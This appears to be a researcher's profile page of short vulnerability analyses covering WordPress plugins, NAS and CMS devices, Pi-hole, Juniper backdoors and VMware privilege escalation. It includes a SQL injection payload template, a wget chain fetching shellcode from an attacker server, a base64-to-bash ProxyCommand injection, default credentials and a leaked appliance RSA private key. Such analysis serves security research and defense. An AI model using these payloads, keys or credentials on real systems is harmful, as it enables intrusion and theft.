h00die (67)
Last Login: January 18, 2021
h00die's Contributions (25)
Technical Analysis
A blind, time based SQL injection was discovered in Email Subscribers & Newsletters WordPress plugin versions before 4.3.1. The hash
parameter is vulnerable to injection. While readily accessible, and a decent amount of installs, the SQLi is relatively complex compared to most commons SQLi for Wordpress Plugins. The request requires a GUID (random is fine), and email (random is fine), and is formatted as such:
{"contact_id":"100','100','100','3'),('1594999398','1594999398','1',(1) AND #{payload},'100','100','3'),('1594999398','1594999398','1','100","campaign_id":"100","message_id":"100","email":"#{email}","guid":"#{guid}","action":"open"}
Technical Analysis
This is a rather neat vulnerability IMO.
Easy WP SMTP versions <= 1.4.2 has a non-default debug
option. When set, the WordPress plugin creates a [a-z0-9]{5,15}_debug_log.txt
file in the wp-content/plugins/easy-wp-smtp/
directory. Problem is, this folder allows directory listings, so the file can easily be accessed. The debug log file contains SMTP logs for the Wordpress instance.
Attack chain is as follows:
- find the debug_log file
- request a password reset for an account
- read the debug_log file which will have the password reset link for that user
- use the link to change the password for that user.
Pretty easy to exploit, but but not necessarily in an automated way since the password change may have unknown requirements. Easy to do manually though!
The file may also contain creds for the SMTP server!
Technical Analysis
Blind SQLi in Chop Slider 3 by iDangero.us. The true value of this exploit is low, simply because the company stopped supporting the plugin several years before the exploit was discovered. Most users had therefore moved away from the plug-in before disclosure.
The iDangero.us Chop Slider 3 WordPress plugin prior to version 3.4 contains a blind SQL injection in the id
parameter of the get_sript/index.php
page. The injection is passed through GET
parameters, and thus must be encoded, and magic_quotes is applied at the server.
Exploitable in default config, a valid id
is not required.
Technical Analysis
Cayin CMS systems have an AUTHENTICATED RCE in the NTP configuration. The system didn’t install correctly on Ubuntu 20.04 at the time the exploit was released, and the company recommends Ubuntu 16.04, unknown if 18.04 will work. Grants root on Ubuntu.
Requires creds, default for CMS-SE was administrator:admin, but the original write-up mentions webadmin:bctvadmin.
CMS system can come on hardware devices. CMS-SE the exploitable file is system_service.cgi
however the original vuln write-up mentions system.cgi
, so it looks like there is a variance between the hardware devices and the Ubuntu installer. YMMV.
After authentication, the exploit is against the NTP server IP field. During testing of CMS-SE the Update
button/functionality was used. Clicking save did not have an immediate effect, and Test
worked, but executed 3 times. If your payload is small, you could use Test
, however with a larger payload like meterp, it was determined that the payload was writing 3 times in each stage… So if the payload chunks were A, B, C, the payload ended up AAABBBCCC.
Due to character limit, any payload that isn’t small will need to go through a cmdstager
type chunking. The field can take ~200 characters, believed to be about ~230 but 200 was used in the exploit to allow for padding.
Technical Analysis
At the time of writing (and exploit release) vulnerability had not been patched by vendor. Windows app which bundles Apache Tomcat and MySQL, so a nice default and consistent environment to exploit. Can be hard to detect version, it’s not readily available on any screens. language.js
shows xPost 2.5, however this file may not change in the future when the patch is eventually released.
SQLi with mysql, this is a classic DUMPFILE
sqli, but you need to know the webroot. Default install is C:/CayinApps/webapps/
, but may possibly change install to install. Dump a JSP shellcode, load it through the web browser and done.
The SQLi is blind, sqlmap will detect it as time based, instead of a UNION
as used in the exploit. I couldn’t get sqlmap to detect it as a UNION
even when giving it more precise information.
Technical Analysis
Vulnerability is trivial to exploit. Send a GET
request to /webman/forget_passwd.cgi?user=<username>
and check the response.
A user who can login will give:
{ "info" : "admin group", "msg" : 1 }
A user who can’t login will give:
{ "info" : "no mail or no priviege", "msg" : 2 }
An invalid user will give:
{ "info" : "get user info failed", "msg" : 4 }
msg
3 means either the feature is disabled, or patched.
msg
5 means you’re locked out.
Default lockout policy is 10 logins in 5min. Each username enumeration counts as a login. Lockout is permanent by default.
Technical Analysis
AUTHENTICATED command execution in webman/modules/StorageManager/smart.cgi
through either a GET
or POST
request.
Variables for the request look as such:
'action' => 'apply', 'operation' => 'quick', 'disk' => "/dev/sda"
The disk field is vulnerable. However, that’s just where this fun begins. The disk
field is required to be ‘semi’ disk correct. AKA you can’t just have nothing there, or a
, however /dev/sd
did seem to work. Next, when the command is passed off, the entire disk
field is limited to 30 characters. After shortening to /dev/sd
and then adding ticks (‘`’) you are left with 22 characters. Pretty tight spacing.
To circumvent this restriction, the following was done:
- in < 22 characters,
echo -n
and ip:port to a file (/a
).
- use
wget -i /a -O <file>
to then pull back shell code from a attacker controlled HTTP server
- execute the payload
Most likely step 1 will need to be done in > 1 steps.
Exploitation grants root privileges.
Technical Analysis
Works against pi-hole <=4.4, which was just about recent at the time of release.
Excellent write-up here: https://frichetten.com/blog/cve-2020-11108-pihole-rce/
The CVE encompasses a file overwrite, however overwriting the right files can escalate privs.
The CVE is basically that a new blocklist can be added, and then an update is forced (gravity
is pihole terminology for this) to pull in the blocklist content. PHP content is then written to a file within the webroot.
How the real chain of exploit works is this:
- writes a
sudo
pihole command to launchteleporter
, effectively running a priv esc.sudo pihole -a -t
is the command to do this. pihole is in sudoers, so we won’t need to provide a password. This file is stored at an arbitrary location within the webroot.
- writes our payload to
teleporter.php
, overwriting, the content.
- visit the arbitrary file set in phase 1, which launches the pihole command.
-t
executesteleporter.php
, which gives us a root shell.
Most of the restrictions for this exploit are focused around adding the blocklist. Due to encoding, formatting, etc, we are only able to provide an IP. No port, or file name.
With this in mind, exploitation takes many steps. In theory, w/o these restrictions, you’d set 2 block lists (phase 1, and 2), update gravity twice to pull in the files, and done. You would have set each block list to a diff URL thus being able to differentiate them.
However, since you aren’t able to do that, the actual chain looks more like this:
- add blocklist for phase 1
- update gravity and
200 OK
the request
- update gravity and send back your phase 1 command.
- add blocklist for phase 2
- update gravity and
200 OK
the request
- update gravity and send back your phase 2 command.
- hit the URL stored for phase 1.
Technical Analysis
Typically you’ll want to combine this vulnerability with CVE-2017-6528 to download the user/password database. Developer was not interested in patching this vulnerability. This is just a typical directory traversal, but a null %00
at the end. In production we found this to be 4 ../
of depth.
Technical Analysis
The Admin console includes a command to run shell commands. The GET
request to cgi-bin/dna/sysAdmin.cgi
requires administrative privileges on the account, however the POST
command to run a command does not require authentication. Thus allowing an arbitrary command execution. Scripts were all written in perl, so a perl based payload is most safe.
Technical Analysis
/home/dna/spool/.pfile
is the database file for users. It is a tab delimited file, and by default passwords are kept in cleartext. An option is available to hash the passwords (MD5 I believe), however it is not the default. The configuration we found in live tested included several admin accounts for the software developer. No patch was available or would be created when the developer was notified.
Technical Analysis
The uid
field is passed within a GET
parameter. These are sequential integers, so it is trivial to enumerate them all. The session for the UID needs to be valid, and the timeout is rather long. So it’s rather trivial to simply enumerate through them in an infinite loop to get an admin.
Technical Analysis
Exploitation of this vulnerability is temperamental at least, destructive at most. While triggering the exploit, it seems somewhat dependent on a higher than default kern.maxfiles
. If maxfiles is set too low, the box will reboot.
If exploitation is successful, in order to cause the RCE, /etc/libmap.conf
is altered. If the original one is not restored, the box is bricked since it attempts to call the payload which was most likely deleted once run.
Exploitation can take between 20-70 minutes.
Technical Analysis
The big kicker for this was that it didn’t work on the cellular side, so you needed to be on the same network as the device. The device most likely being on the wifi, so a coffee bar or airport would have been prime exploitation grounds.
ES File Explorer is a VERY common software, often included on cheaper Android phones, for browsing files. The vulnerability basically gave as much access to the device as you’d want, allowing for almost everything but RCE. The software on the odd port spoke HTTP, so JSON POST commands were the common language.
Technical Analysis
The imap_open
function within php, if called without the /norsh
flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh’s ProxyCommand
option can be passed from imap_open to execute arbitrary commands.
The execution flow of this, on Debian systems is as such:
- PHP
imap_open
viarsh
rsh
aliased tossh
- SSH’s
ProxyCommand
RCE
There were some other nuances, such as not allowing spaces ($IFS$()
is OK). Typical execution of this at the SSH side was to base64 encode the payload and pipe it to bash: "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
.
The trick is finding where a webapp calls the imap_open
functionality. Typically this is in a higher privileged part of the webapp, since it could be destructive (such as disabling notifications). Some webapps seem to include the function call, but never call the function which uses it (maybe there for plugins to use?).
Technical Analysis
This is similar to CVE-2009-2936, but on a local binary instead of a network port. The binary, which is obscure and not easy to find, when given an arbitrary file as input with debug and verbose mode set, will attempt to load it. The arbitrary file will fail to load because it isn’t a correct file, and the first line will be echoed back to the screen, split at 20 characters in length. The binary also runs with the suid
bit set, so most likely you’ll want /etc/shadow
to get root’s hash.
Technical Analysis
Debut makes an embedded http server which is likely on ‘dumb’ devices which need a web server for configuration such as Brother and HP printers. Exploitation is trivial, just send 40 characters of data in a POST request w/o authentication, and the service will crash. Since these devices are typically cheap and ‘dumb’, crashing the http server will most likely also cause the entire device to reboot, or require a watchdog service to restart the http server. Isn’t much to gain here though since you’re simply crashing a service. DoS printers, save trees?
However, of note, these devices may not include a firmware update mechanism, and may therefore be vulnerable for life, such as my Brother HL-L2380DW.
Technical Analysis
Found this software in an enterprise environment. The /storage/tmp/devblocks_cache---ch_workers
and /storage/tmp/zend_cache---ch_workers
files contain lots of data, however the only things of value are a list of usernames and password hashes. When found in an enterprise, this gave us over 200 MD5 hashes, which was a huge win. Never seen the software before or after though.
Technical Analysis
This vulnerability only happens when the Limit
method is defined. This most likely isn’t very common in enterprise environments, and also the Limit
method needs to be configured in an invalid way.
Pending all that is true, which is unlikely, its possible to send an OPTIONS
HTTP request and get back arbitrary memory.
Unlike Heartbleed, we’re receiving back minimal memory and its also intermingled with the response.
From my testing, against a test server, no useful data was found. It’s possible a production server on a very busy website may have divulged more useful data, but it would have to be minimal due to the returned buffer size.
Technical Analysis
Authentication is required, although there are some defaults.
Once authenticated, this is a trivial RCE. Simply POST
an oinkcode
, where the value is shellcode wrapped in ticks. Typically the shellcode will want to be CMD and not a binary, with limited commands in the default appliance. However, these should be easy to identify since the exploitation, post auth, is so trivial.
Technical Analysis
The (3) part of this does seem to be true, using vcl.load
and supplying it a file will attempt to load the file. Because the file is most likely NOT a vcl
file, the file will fail to load, however the error message echoed back to the user includes the first line of the file.
While you are able to read an arbitrary file, you’ll only get the first line, YMMV. The process is most likely also not running as root, so /etc/shadow
where the first line would be great most likely won’t happen.
Technical Analysis
Default SSH key was left on the appliance, allowing anyone to login if they know the private key. The private key was discovered/released, thus allowing easy login via SSH, which is on by default.
Key is:
-----BEGIN RSA PRIVATE KEY----- MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10 hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk 86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg== -----END RSA PRIVATE KEY-----
Technical Analysis
‘unspecified password’: <<< %s(un='%s') = %u
.
This was a manufacturer backdoor account left on the device. Interestingly, when experts analyzed the OS Images, they assessed that the password for the backdoor account was created in a way that would look like an innocuous string when analyzed.
While Juniper isn’t very common on enterprise environments, especially running ScreenOS, they still existed in smaller satellite offices.
Technical Analysis
This vulnerability is unbelievably easy to trigger. The binary/process sunxi_debug
was accidentally incorporated into kernel builds for Allwinner processors. Simply echoing ‘rootmydevice’ to the process /proc/sunxi_debug/sunxi_debug
would elevate the shell to root. Beyond simple, trivial to code, absolutely safe from crashing the device.
There were a few issues though. These devices tend to be cheap and/or obscure such as Dragon Android tablets and Orange Pi thus unlikely to be in non-BYOD enterprise environments. The Android tables also incorporate sandboxing which prevented an app from sending the command to the process.
Technical Analysis
This vulnerability is trivial to exploit.
The “Open VMware USB Arbitrator Service” binary can be run (through a hard link) from any location, including attacker controlled. Next, when the Service binary is run, which any user can do, it automatically runs ../../../Contents/Library/services/VMware USB Arbitrator Service
. By ensuring the hard link is 3 levels deep from VMware USB Arbitrator Service
, we’re able to get code execution. When our payload (VMware USB Arbitrator Service
) is run, it’s done so with an EUID of 0, thus priv escalating. This is trivial to exploit since we’re not overwriting any files, or calling anything abnormal, and easy to clean-up. There is NO chance of crashing the system either.